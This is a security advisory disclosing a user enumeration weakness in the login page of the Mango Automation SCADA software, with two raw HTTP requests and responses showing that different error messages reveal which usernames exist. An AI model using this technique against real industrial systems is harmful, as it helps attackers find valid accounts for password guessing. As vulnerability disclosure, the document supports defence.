Mango Automation 2.6.0 User Enumeration Weakness


Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com
Affected version: 2.5.2 and 2.6.0 beta (build 327)

Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.

Desc: The weakness is caused due to the 'login.htm' script
and how it verifies provided credentials. Attacker can
use this weakness to enumerate valid users on the affected
node.

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Jetty(9.2.2.v20140723)
           Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
           Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5256
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5256.php


20.08.2015

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Request for non-existent username:
----------------------------------

POST /login.htm HTTP/1.1
Host: localhost:8080
Content-Length: 29
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/login.htm;jsessionid=6zpfpnxljyzf13l3zrpx9e0xd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: MANGO8080=6zpfpnxljyzf13l3zrpx9e0xd

username=noob&password=123123


Response:

 - <td class="formError">User id not found</td>


Request for existent username:
------------------------------

POST /login.htm HTTP/1.1
Host: localhost:8080
Content-Length: 32
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/login.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: MANGO8080=6zpfpnxljyzf13l3zrpx9e0xd

username=admin&password=123123


Response:

 - <td colspan="3" class="formError">Invalid login<br/>